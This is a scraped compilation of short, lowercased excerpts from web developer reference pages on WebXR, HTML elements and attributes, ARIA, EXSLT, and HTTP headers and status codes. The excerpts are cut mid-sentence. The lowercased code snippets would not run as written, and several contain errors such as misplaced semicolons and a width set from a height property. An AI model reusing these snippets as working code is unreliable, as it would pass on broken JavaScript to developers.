that is, you can always get the inverse of any xrrigidtransform using its inverse property, instead of having to explicitly generate it.
...*/ mat4.multiply(modelviewmatrix, view.transform.inverse.matrix, objectmatrix); gl.uniformmatrix4fv(programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); /* ...
... specifications specification status comment webxr device apithe definition of 'xrrigidtransform.inverse' in that specification.
XRRigidTransform.orientation - Web APIs
the read-only xrrigidtransform property orientation is a dompointreadonly containing a normalized quaternion (also called a unit quaternion or versor) specifying the rotational component of the transform represented by the object.
... examples to create a reference space which is oriented to look straight up, positioned 2 meters off of ground level: xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -2}, {x: 0.0, y: 1.0, z: 0.0, w: 1.0}); ); the unit quaternion specified here is [0.0, 1.0, 0.0, 1.0] to indicate that the object should be facing directly along the y axis.
... specifications specification status comment webxr device apithe definition of 'xrrigidtransform.orientation' in that specification.
XRSession.end() - Web APIs
WebAPIXRSessionend
the end() method shuts down the xrsession on which it's called, returning a promise which resolves once the session has fully shut down.
...you can use the promise to do things like update ui elements to reflect the shut down connection, trigger application shut down, or whatever else you might need to do.
... example specifications specification status comment webxr device apithe definition of 'xrsession.end' in that specification.
XRSession.onsqueeze - Web APIs
the xrsession interface's onsqueeze event handler property can be set to a function which is then invoked to handle the squeeze event that's sent when the user successfully completes a primary squeeze action on a webxr input device.
...then we pass the currently held object and the target ray's transform matrix into a function we call dropobjectusingray() to drop the object, using the target ray to determine the surface upon which the object should be placed.
... specifications specification status comment webxr device apithe definition of 'xrsession.onsqueeze' in that specification.
XRSession.onsqueezestart - Web APIs
the xrsession interface's onsqueezestart event handler property can be set to a function which is then invoked to handle the squeezestart event that's sent when the user successfully begins a primary squeeze action on a webxr input device.
... examples this snippet of code adds a simple handler for the squeezestart event, which responds only to events on the user's dominant hand by getting the target ray, then calling a function findobjectusingray() to identify the object that the user is pointing at.
... xrsession.onsqueezestart = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace; if (targetraypose) { user.heldobject = findobjectusingray(targetraypose.transform); } } }; specifications specification status comment webxr device apithe definition of 'xrsession.onsqueezestart' in that specification.
XRViewport.y - Web APIs
WebAPIXRViewporty
the read-only xrviewport interface's y property indicates the offset from the bottom edge of the destination surface (typically a xrwebgllayer to the bottom edge of the viewport within the surface into which webxr content is to be rendered.
... note: although other web apis typically consider the y axis to begin at the top and grow larger progressing downward, webgl reverses this, with y growing larger as it goes upward on the screen.
... specifications specification status comment webxr device apithe definition of 'xrviewport.y' in that specification.
XRWebGLLayer.antialias - Web APIs
the specific antialiasing technique used is left to the user agent's discretion and cannot be specified by the web site or web app.
... usage notes since this is a read-only property, you can set the antialiasing mode only when initially creating the xrwebgllayer, by specifying the antialias object in the xrwebgllayer() constructor's layerinit parameter.
...*/ if (!gllayer.antialias) { /* compensate for lack of antialiasing */ } specifications specification status comment webxr device apithe definition of 'xrwebgllayer.antialias' in that specification.
XRWebGLLayer.framebufferHeight - Web APIs
the read-only xrwebgllayer property framebufferheight indicates the height of the framebuffer, in pixels.
... you can get the width of the framebuffer using the framebufferwidth property.
... let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferheight; frameheight = gllayer.framebufferheight; specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebufferheight' in that specification.
XRWebGLLayerInit.depth - Web APIs
syntax let layerinit = { depth: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { depth: false }); value a boolean which can be set to false to specify that the new webgl layer should not have a depth buffer.
... you can determine whether or not the depth buffer is being used by a given webgl rendering layer during your xr session by checking the value returned by xrwebgllayer.ignoredepthvalues.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { depth: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.depth' in that specification.
XRWebGLLayerInit.stencil - Web APIs
you can store values into each entry in the stencil bufer, then specify an operation that determines which stencil buffer values correspond to pixels which should be drawn to the screen during each frame.
... syntax let layerinit = { stencil: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { stencil: false }); value a boolean which can be set to false to specify that the new webgl layer should not include a stencil buffer.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { stencil: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.stencil' in that specification.
mssitemodejumplistitemremoved - Web APIs
the mssitemodejumplistitemremoved event occurs when mssitemodeshowjumplist is called and an item has been removed from a jump list by the user.
... syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mssitemodejumplistitemremoved", handler, usecapture) general info synchronous no bubbles no cancelable no note this event is raised once for every item that has been removed since the last time mssitemodeshowjumplist was called.
... this event is not triggered if mssitemodeclearjumplist has been called.
msthumbnailclick - Web APIs
syntax event property object.onmsthumbnailclick = handler; addeventlistener method object.addeventlistener("msthumbnailclick", handler, usecapture) general info synchronous no bubbles no cancelable no note the onmsthumbnailclick event is available only to documents that are launched from a pinned site shortcut.
...ple function thumbnailclickhandler(evt) { alert ("clicked button: " + evt.buttonid); } document.addeventlistener('msthumbnailclick', thumbnailclickhandler); example 2 // adds an overlay icon on your app pinned to the taskbar window.external.mssitemodeseticonoverlay(iconuri, tooltip); // removes an overlay icon window.external.mssitemodecleariconoverlay(); // pinned icons on your taskbar can be instructed to trigger specific events on your site from the taskbar // add an event handlerdocument.addeventlistener('msthumbnailclick', onbuttonclicked, false); // add the buttons var btnplay = window.external.mssitemodeaddthumbbarbutton(iconuri, tooltip); // refresh the taskbar window.external.mssitemodeshowthumbbar(); // call a javascript function when the button is pressed function onb...
...uttonclicked(e) { switch (e.buttonid) { case btnplay: play(); break;} } see also microsoft api extensions ...
ARIA Screen Reader Implementors Guide - Accessibility
text to speech and a braille display), then two queues can be maintained to allow for parallel presentation.
... when no wai-aria markup is present, automatically present some changes unless the user configures all live changes to off.
... for example, automatically speak changes that are caused by the user's own input, as part of the context of that input.
Using the status role - Accessibility
when the role is added to an element, the browser will send out an accessible status event to assistive technology products which can then notify the user about it.
...these should be announced when the user is idle, unless aria-live=”assertive” has been set and in which case the user may be interrupted.
... <p role="status">your changes were automatically saved.</p> working examples: notes aria attributes used status related aria techniques alert role live region roles live region attributes compatibility the paciello group published some data on compatibility via their 2014 blog post: screen reader support for aria live regions tbd: add updated support information for common ua and at product combinations a...
Demos of open web technologies
if you know of a good demonstration or application of open web technology, please add a link to the appropriate section here.
... 2d graphics canvas blob sallad: an interactive blob using javascript and canvas (code demos) 3d raycaster processing.js p5js 3d on 2d canvas minipaint: image editor (source code) zen photon garden (source code) multi touch in canvas demo (source code) svg bubblemenu (visual effects and interaction) html transformations using foreignobject (visual effects and transforms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive) video embedded in svg (or use the local download) summer html image map creator (source code) video video 3d animation "mozilla constantly evolving" video 3d animation "floating dance" streaming anime, movie trailer and interview billy's browser firefox flick virtual barber shop transformers movie trailer a sc...
...le (source code) kai 'opua (source code) virtual reality the polar sea (source code) sechelt fly-through (source code) css css zen garden css floating logo "mozilla" paperfold css blockout rubik's cube pure css slides planetarium (source code) loader with blend modes text reveal with clip-path ambient shadow with custom properties luminiscent vial css-based single page application (source code) transformations impress.js (source code) games ioquake3 (source code) kai 'opua (source code) web apis notifications api html5 notifications (source code) web audio api web audio fireworks oscope.js - javascript oscilloscope html5 web audio showcase (source code) html5 audio visualizer (source code) graphical filter editor and visualizer (source c...
exsl:object-type() - EXSLT
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes exsl:object-type() returns a string that indicates the type of the specified object.
... note: most xslt object types can be coerced into each other safely; however, certain coercsions to raise error conditions.
... returns the object's type, which will be one of the following: string number boolean node-set rtf external specifications exslt - exsl:object-type ...
regexp:match() - EXSLT
WebEXSLTregexpmatch
i case insensitive match if this flag is specified, the match is performed in a case insensitive fashion.
... returns a node set of match elements, each of which has the string value equal to a portion of the first parameter string as captured by the regular expression.
...developers', '(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)')"> part <xsl:value-of select="position()" /> = <xsl:value-of select="." /> </xsl:for-each> this code generates the following output: part 1 = http://developer.mozilla.org/en/docs/firefox_3_for_developers part 2 = http part 3 = developer.mozilla.org part 4 = part 5 = /en/docs/firefox_3_for_developers specifications exslt - regexp:match ...
Guide to Web APIs - Developer guides
WebGuideAPI
the web includes a wide array of apis that can be used from javascript to build increasingly more powerful and capable applications, running either on the web, locally, or through technology such as node.js, on a server.
... web apis from a to z aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperfor...
...mance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api ...
Using device orientation with 3D transforms - Developer guides
using orientation to rotate an element the easiest way to convert orientation data to a 3d transform is basically to use the alpha, gamma, and beta values as rotatez, rotatex and rotatey values.
...to sum it up: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // remember to use vendor-prefixed transform property elem.style.transform = "rotatez(" + ( e.alpha - 180 ) + "deg) " + "rotatex(" + e.beta + "deg) " + "rotatey(" + ( -e.gamma ) + "deg)"; }); orientation compensation compensating the orientation of the device can be useful to create parallax effects or augmented reality.
...ementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // again, use vendor-prefixed transform property elem.style.transform = "rotatey(" + ( -e.gamma ) + "deg)" + "rotatex(" + e.beta + "deg) " + "rotatez(" + - ( e.alpha - 180 ) + "deg) "; }); rotate3d to orientation should you ever need to convert a rotate3d axis-angle to orientation euler angles, you can use the following algorithm: // convert a rotate3d axis-angle to deviceorientation angles function orient( aa ) { var x = aa.x, y = aa.y, z = aa.z, a = aa.a, c = math.cos( aa.a ), s = math.sin( aa.a ), t = 1 - c, // axis-angle to rotation matrix rm00 = c + x*x * t, rm10 = z*s + y*x * t, rm20 = -y*s + z*x * t, rm01 = -z*s + ...
XHTML - Developer guides
WebGuideHTMLXHTML
xhtml is a term that was historically used to describe html documents written to conform with xml syntax rules.
... html document content-type: text/html <!doctype html> <html lang=en> <head> <meta charset=utf-8> <title>html</title> </head> <body> <p>i am a html document</p> </body> </html> xhtml document content-type: application/xhtml+xml <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with a content-type: application/xhtml+xml header.
... instead, even though the documents are written to conform to xml syntax rules, they are served with a content-type: text/html header — so browsers parse those documents using html parsers rather than xml parsers, which can cause a variety of sometimes-very-surprising problems.
HTML attribute: maxlength - HTML: Hypertext Markup Language
the maxlength attribute defines the maximum number of characters (as utf-16 code units) the user can enter into an <input> or <textarea>.
... examples <input type="password" maxlength="4"/> specifications specification status html living standardthe definition of 'maxlength attribute' in that specification.
... living standard html 5.1the definition of 'maxlength attribute' in that specification.
HTML attribute: size - HTML: Hypertext Markup Language
WebHTMLAttributessize
examples by adding size on some input types, the width of the input can be controlled.
... <label for="fruit">enter a fruit</label> <input type="text" size="15" id="fruit"> <label for="vegetable">enter a vegetable</label> <input type="text" id="vegetable"> <select name="fruits" size="5"> <option>banana</option> <option>cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vegetables" size="5"> <option>carrot</option> <option>cucumber</option> <option>cauliflower</option> <option>celery</option> <option>collard greens</option> </select> specifications specification status html living standardthe definition of 'size attribute' in that specification.
... living standard html 5.1the definition of 'size attribute' in that specification.
<data> - HTML: Hypertext Markup Language
WebHTMLElementdata
content categories flow content, phrasing content, palpable content.
... <p>new products</p> <ul> <li><data value="398">mini ketchup</data></li> <li><data value="399">jumbo ketchup</data></li> <li><data value="400">mega jumbo ketchup</data></li> </ul> specifications specification status comment html living standardthe definition of '<data>' in that specification.
... living standard no change from html5 html5the definition of '<data>' in that specification.
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
WebHTMLElementdatalist
content categories flow content, phrasing content.
... examples <label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html living standardthe definition of '<datalist>' in that specification.
... living standard html5the definition of '<datalist>' in that specification.
<dir>: The Directory element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementdir
though present in early html specifications, it has been deprecated in html 4, and has since been removed entirely.
... usage note: do not use this attribute, as it has been deprecated: the <dir> element should be styled using css.
... to give a similar effect as that achieved with the compact attribute, the css property line-height can be used with a value of 80%.
<image>: The obsolete Image element - HTML: Hypertext Markup Language
WebHTMLElementimage
seriously, the specification even literally uses the words "don't ask" when describing this element.
... while some browsers will attempt to automatically convert this into an <img> element, they won't always do so, and won't always succeed when they try, due to various ways in which the options can be interpreted.
... specifications this might have once been part of a specification, but nobody seems to remember.
<isindex> - HTML: Hypertext Markup Language
WebHTMLElementisindex
it was deprecated in html 4.01.
... the same behaviour can be achieved with an html form.
... isindex element deprecated in html 4.01 isindex in html 3.2 isindex in html 2.0 as well the description of the behavior in queries and indexes (html 2.0) isindex in html+ ...
<multicol>: The HTML Multi-Column Layout element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementmulticol
it never got any significant traction and is not implemented in any major browsers.
... it's covered here only to warn you off in case you stumble on it in any other documentation.
... specifications none.
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
WebHTMLElementrt
content categories none.
... examples this simple example provides romaji transliteration for the kanji characters within the <ruby> element: <ruby> 漢 <rt>kan</rt> 字 <rt>ji</rt> </ruby> body { font-size: 22px; } the output looks like this in your browser: on a browser without ruby support, this example might look like this: 漢 kan 字 ji body { font-size: 22px; } specifications specification status comment html living standardthe definition of '<rt>' in that specification.
... living standard html5the definition of '<rt>' in that specification.
<ruby> - HTML: Hypertext Markup Language
WebHTMLElementruby
content categories flow content, phrasing content, palpable content.
... examples example 1: character <ruby> 漢 <rp>(</rp><rt>kan</rt><rp>)</rp> 字 <rp>(</rp><rt>ji</rt><rp>)</rp> </ruby> example 2: word <ruby> 明日 <rp>(</rp><rt>ashita</rt><rp>)</rp> </ruby> specifications specification status comment html living standardthe definition of '<ruby>' in that specification.
... living standard html5the definition of '<ruby>' in that specification.
<shadow>: The obsolete Shadow Root element - HTML: Hypertext Markup Language
WebHTMLElementshadow
content categories transparent content permitted content flow content tag omission none, both the starting and ending tag are mandatory.
... shadowroot2.innerhtml = '<shadow></shadow> <p>younger shadow root, displayed because it is the youngest.</p>'; </script> </body> </html> if you display this in a web browser it should look like the following.
... specifications this element is no longer defined by any specifications.
contextmenu - HTML: Hypertext Markup Language
example html <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="twitter" onclick="shareviatwitter()"></menuitem> <menuitem label="facebook" onclick="shareviafacebook()"></menuitem> </menu> </menu> <ol> <li> anywhere in the example you can share the page on twitter and facebook using the share menu from your context menu.
... </li> <li contextmenu="changefont" id="fontsizing"> on this specific list element, you can change the size of the text by using the "increase/decrease font" actions from your context menu </li> <menu type="context" id="changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="changeimage" id="changeimage"> on the image below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"><...
...function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
is - HTML: Hypertext Markup Language
this attribute can only be used if the specified custom element name has been successfully defined in the current document, and extends the element type it is being applied to.
... // create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // constructor contents ommitted for brevity ...
... } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'is' in that specification.
HTML reference - HTML: Hypertext Markup Language
global attributes global attributes are attributes common to all html elements; they can be used on all elements, though they may have no effect on some elements.
... link types in html, the following link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, or <link> element.
... content categories every html element is a member of one or more content categories — these categories group elements that share common characteristics.
Reason: CORS header 'Access-Control-Allow-Origin' does not match 'xyz' - HTTP
this error can also occur if the response includes more than one access-control-allow-origin header.
... for example, in apache, add a line such as the following to the server's configuration (within the appropriate <directory>, <location>, <files>, or <virtualhost> section).
... the configuration is typically found in a .conf file (httpd.conf and apache.conf are common names for these), or in an .htaccess file.
Allow - HTTP
WebHTTPHeadersAllow
this header must be sent if the server responds with a 405 method not allowed status code to indicate which request methods can be used.
... an empty allow header indicates that the resource allows no request methods, which might occur temporarily for a given resource, for example.
... examples allow: get, post, head specifications specification title rfc 7231, section 7.4.1: allow hypertext transfer protocol (http/1.1): semantics and content ...
CSP: block-all-mixed-content - HTTP
syntax content-security-policy: block-all-mixed-content; examples content-security-policy: block-all-mixed-content; <meta http-equiv="content-security-policy" content="block-all-mixed-content"> to disallow http assets on a more granular level, you can also set individual directives to https:.
... for example, to disallow nonsecure http images: content-security-policy: img-src https: specifications specification status comment mixed contentthe definition of 'block-all-mixed-content' in that specification.
... candidate recommendation initial definition.
DNT - HTTP
WebHTTPHeadersDNT
the dnt (do not track) request header indicates the user's tracking preference.
... it lets users indicate whether they would prefer privacy rather than personalized content.
... examples reading do not track status from javascript the user's dnt preference can also be read from javascript using the navigator.donottrack property: navigator.donottrack; // "0" or "1" specifications specification status comment tracking preference expression (dnt)the definition of 'dnt header field for http requests' in that specification.
Digest - HTTP
WebHTTPHeadersDigest
the digest is calculated over the entire representation.
...some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not suitable for applications in which collision-resistance is important.
... examples digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe=,unixsum=30637 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
Feature-Policy: accelerometer - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... accelerometerthe definition of 'accelerometer' in that specification.
... candidate recommendation ...
Feature-Policy: battery - HTTP
specifications specification status comment feature policy editor's draft initial definition.
... battery status apithe definition of 'feature policy integration' in that specification.
... candidate recommendation ...
Feature-Policy: publickey-credentials-get - HTTP
the http feature-policy header publickey-credentials-get directive controls whether the current document is allowed to access web authentcation api to create new public-key credentials, i.e, via navigator.credentials.get({publickey: ..., ...}).
... specifications specification status comment feature policy editor's draft initial definition.
... web authentication level 2 editor's draft.
Feature-Policy: screen-wake-lock - HTTP
the http feature-policy header screen-wake-lock directive controls whether the current document is allowed to use screen wake lock api to indicate that device should not dim or turn off the screen.
... note: in earlier specification drafts this directive was called wake-lock.
... specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: wake-lock - HTTP
the http feature-policy header wake-lock directive controls whether the current document is allowed to use wake lock api to indicate that device should not enter power-saving mode.
... specifications specification status comment feature policy editor's draft initial definition.
... wake lock api 1 candidate recommendation initial definition of wake-lock feature directive.
From - HTTP
WebHTTPHeadersFrom
a crawler), the from header should be sent, so you can be contacted if problems occur on servers, such as if the robot is sending excessive, unwanted, or invalid requests.
... you shouldn't use the from header for access control or authentication.
... examples from: webmaster@example.org specifications specification title rfc 7231, section 5.5.1: from hypertext transfer protocol (http/1.1): semantics and content ...
Sec-Fetch-Site - HTTP
the sec-fetch-site fetch metadata header indicates the relationship between a request initiator's origin and the origin of the resource.
...this can happen when user had initiated this request by, e.g.
... examples todo specifications specification title fetch metadata request headers the sec-fetch-site http request header ...
Set-Cookie2 - HTTP
the obsolete set-cookie2 http response header used to send cookies from the server to the user agent, but has been deprecated by the specification.
... header type response header forbidden header name no syntax set-cookie2: <cookie-name>=<cookie-value> set-cookie2: <cookie-name>=<cookie-value>; comment=<value> set-cookie2: <cookie-name>=<cookie-value>; commenturl=<http-url> set-cookie2: <cookie-name>=<cookie-value>; discard set-cookie2: <cookie-name>=<cookie-value>; domain=<domain-value> set-cookie2: <cookie-name>=<cookie-value>; max-age=<non-zero-digit> set-cookie2: <cookie-name>=<cookie-value>; path=<path-value> set-cookie2: <cookie-name>=<cookie-value>; port=<port-number> set-cookie2: <cookie-name>=<cookie-value>; secure set-cookie2: <cookie-name>=<cookie-value>; version=<version-number> // multiple directives are also possible, for example: set-cookie2: <cookie-name>=<cookie-va...
... specifications specification title rfc 2965: set-cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
Timing-Allow-Origin - HTTP
header type response header forbidden header name no syntax timing-allow-origin: * timing-allow-origin: <origin>[, <origin>]* directives * the server may specify "*" as a wildcard, thereby allowing any origin to see timing resources.
...you can specify multiple origins, separated by commas.
... examples to allow any resource to see timing resources: timing-allow-origin: * to allow https://developer.mozilla.org to see timing resources, you can specify: timing-allow-origin: https://developer.mozilla.org specifications specification status comment resource timing level 3the definition of 'timing-allow-origin' in that specification.
Trailer - HTTP
WebHTTPHeadersTrailer
the trailer response header allows the sender to include additional fields at the end of chunked messages in order to supply metadata that might be dynamically generated while the message body is sent, such as a message integrity check, digital signature, or post-processing status.
...these header fields are disallowed: message framing headers (e.g., transfer-encoding and content-length), routing headers (e.g., host), request modifiers (e.g., controls and conditionals, like cache-control, max-forwards, or te), authentication headers (e.g., authorization or set-cookie), or content-encoding, content-type, content-range, and trailer itself.
... http/1.1 200 ok content-type: text/plain transfer-encoding: chunked trailer: expires 7\r\n mozilla\r\n 9\r\n developer\r\n 7\r\n network\r\n 0\r\n expires: wed, 21 oct 2015 07:28:00 gmt\r\n \r\n specifications specification title rfc 7230, section 4.4: trailer hypertext transfer protocol (http/1.1): message syntax and routing rfc 7230, section 4.1.2: chunked trailer part hypertext transfer protocol (http/1.1): message syntax and routing ...
Via - HTTP
WebHTTPHeadersVia
the via general header is added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.
... it is used for tracking message forwards, avoiding request loops, and identifying the protocol capabilities of senders along the request/response chain.
... examples via: 1.1 vegur via: http/1.1 gwa via: 1.0 fred, 1.1 p.example.net specifications specification title rfc 7230, section 5.7.1: via hypertext transfer protocol (http/1.1): message syntax and routing ...
X-Content-Type-Options - HTTP
the x-content-type-options response http header is a marker used by the server to indicate that the mime types advertised in the content-type headers should not be changed and be followed.
...this can cause html web pages to be downloaded instead of being rendered when they are served with a mime type other than text/html.
... forbidden header name no syntax x-content-type-options: nosniff directives nosniff blocks a request if the request destination is of type: "style" and the mime type is not text/css, or "script" and the mime type is not a javascript mime type enables cross-origin read blocking (corb) protection for the mime-types: text/html text/plain text/json, application/json or any other type with a json extension: */*+json text/xml, application/xml or any other type with an xml extension: */*+xml (excluding image/svg+xml) specifications specification status comment fetchthe definition of 'x-content-type-options definition' in that specification.
X-Forwarded-For - HTTP
this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
... x-forwarded-for is also an email-header indicating that an email-message was forwarded from another account.
... examples x-forwarded-for: 2001:db8:85a3:8d3:1319:8a2e:370:7348 x-forwarded-for: 203.0.113.195 x-forwarded-for: 203.0.113.195, 70.41.3.18, 150.172.238.178 other non-standard forms: # used for some google services x-proxyuser-ip: 203.0.113.19 specifications not part of any current specification.
X-Forwarded-Host - HTTP
host names and ports of reverse proxies (load balancers, cdns) may differ from the origin server handling the request, in that case the x-forwarded-host header is useful to determine which host was originally used.
... this header is used for debugging, statistics, and generating location-dependent content and by design it exposes privacy sensitive information, such as the ip address of the client.
... examples x-forwarded-host: id42.example-cdn.com specifications not part of any current specification.
101 Switching Protocols - HTTP
WebHTTPStatus101
the http 101 switching protocols response code indicates the protocol the server is switching to as requested by a client which sent the message including the upgrade request header.
... the server includes in this response an upgrade response header to indicate the protocol it switched to.
... http/1.1 101 switching protocols upgrade: websocket connection: upgrade specifications specification title rfc 7231, section 6.2.2: 101 switching protocol hypertext transfer protocol (http/1.1): semantics and content ...
200 OK - HTTP
WebHTTPStatus200
the http 200 ok success status response code indicates that the request has succeeded.
... a 200 response is cacheable by default.
... status 200 ok specifications specification title rfc 7231, section 6.3.1: 200 ok hypertext transfer protocol (http/1.1): semantics and content ...
203 Non-Authoritative Information - HTTP
WebHTTPStatus203
the http 203 non-authoritative information response status indicates that the request was successful but the enclosed payload has been modified by a transforming proxy from that of the origin server's 200 (ok) response .
... the 203 response is similar to the value 214, meaning transformation applied, of the warning header code, which has the additional advantage of being applicable to responses with any status code.
... status 203 non-authoritative information specifications specification title rfc 7231, section 6.3.4: 203 non-authoritative information hypertext transfer protocol (http/1.1): semantics and content ...
206 Partial Content - HTTP
WebHTTPStatus206
the http 206 partial content success status response code indicates that the request has succeeded and has the body contains the requested ranges of data, as described in the range header of the request.
... a response containing several ranges: http/1.1 206 partial content date: wed, 15 nov 2015 06:25:24 gmt last-modified: wed, 15 nov 2015 04:58:08 gmt content-length: 1741 content-type: multipart/byteranges; boundary=string_separator --string_separator content-type: application/pdf content-range: bytes 234-639/8000 ...the first range...
... --string_separator content-type: application/pdf content-range: bytes 4590-7999/8000 ...the second range --string_separator-- specifications specification title rfc 7233, section 4.1: 206 partial content hypertext transfer protocol (http/1.1): range requests ...
300 Multiple Choices - HTTP
WebHTTPStatus300
the http 300 multiple choices redirect status response code indicates that the request has more than one possible responses.
... if the server has a preferred choice, it should generate a location header.
... status 300 multiple choices specifications specification title rfc 7231, section 6.4.1: 300 multiple choices hypertext transfer protocol (http/1.1): semantics and content ...
301 Moved Permanently - HTTP
WebHTTPStatus301
the hypertext transfer protocol (http) 301 moved permanently redirect status response code indicates that the resource requested has been definitively moved to the url given by the location headers.
... even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find this type of bugged software out there.
... status 301 moved permanently example client request get /index.php http/1.1 host: www.example.org server response http/1.1 301 moved permanently location: http://www.example.org/index.asp specifications specification title rfc 7231, section 6.4.2: 301 moved permanently hypertext transfer protocol (http/1.1): semantics and content ...
308 Permanent Redirect - HTTP
WebHTTPStatus308
the hypertext transfer protocol (http) 308 permanent redirect redirect status response code indicates that the resource requested has been definitively moved to the url given by the location headers.
... note: some web applications may use the 308 permanent redirect in a non-standard way and for other purposes.
... for example, google drive uses a 308 resume incomplete response to indicate to the client when an incomplete upload stalled.[1] status 308 permanent redirect specifications specification title rfc 7538, section 3: 308 permanent redirect the hypertext transfer protocol status code 308 (permanent redirect) ...
400 Bad Request - HTTP
WebHTTPStatus400
the hypertext transfer protocol (http) 400 bad request response status code indicates that the server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).
... the client should not repeat this request without modification.
... status 400 bad request specifications specification title rfc 7231, section 6.5.1: 400 bad request hypertext transfer protocol (http/1.1): semantics and content ...
402 Payment Required - HTTP
WebHTTPStatus402
sometimes, this code indicates that the request can not be processed until the client makes a payment.
... originally it was created to enable digital cash or (micro) payment systems and would indicate that the requested content is not available until the client makes a payment.
... status 402 payment required example response http/1.1 402 payment required date: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7231, section 6.5.2: 402 payment required http/1.1: semantics and content ...
410 Gone - HTTP
WebHTTPStatus410
the hypertext transfer protocol (http) 410 gone client error response code indicates that access to the target resource is no longer available at the origin server and that this condition is likely to be permanent.
... note: a 410 response is cacheable by default.
... status 410 gone specifications specification title rfc 7231, section 6.5.9: 410 gone hypertext transfer protocol (http/1.1): semantics and content ...
411 Length Required - HTTP
WebHTTPStatus411
the hypertext transfer protocol (http) 411 length required client error response code indicates that the server refuses to accept the request without a defined content-length header.
... note: by specification, when sending data in a series of chunks, the content-length header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format.
... status 411 length required specifications specification title rfc 7231, section 6.5.10: 411 length required hypertext transfer protocol (http/1.1): semantics and content ...
415 Unsupported Media Type - HTTP
WebHTTPStatus415
the http 415 unsupported media type client error response code indicates that the server refuses to accept the request because the payload format is in an unsupported format.
... the format problem might be due to the request's indicated content-type or content-encoding, or as a result of inspecting the data directly.
... status 415 unsupported media type specifications specification title rfc 7231, section 6.5.13: 415 unsupported media type hypertext transfer protocol (http/1.1): semantics and content ...
422 Unprocessable Entity - HTTP
WebHTTPStatus422
the hypertext transfer protocol (http) 422 unprocessable entity response status code indicates that the server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.
... important: the client should not repeat this request without modification.
... status 422 unprocessable entity specifications specification title rfc 4918, section 11.2: 422 unprocessable entity http extensions for web distributed authoring and versioning (webdav) ...
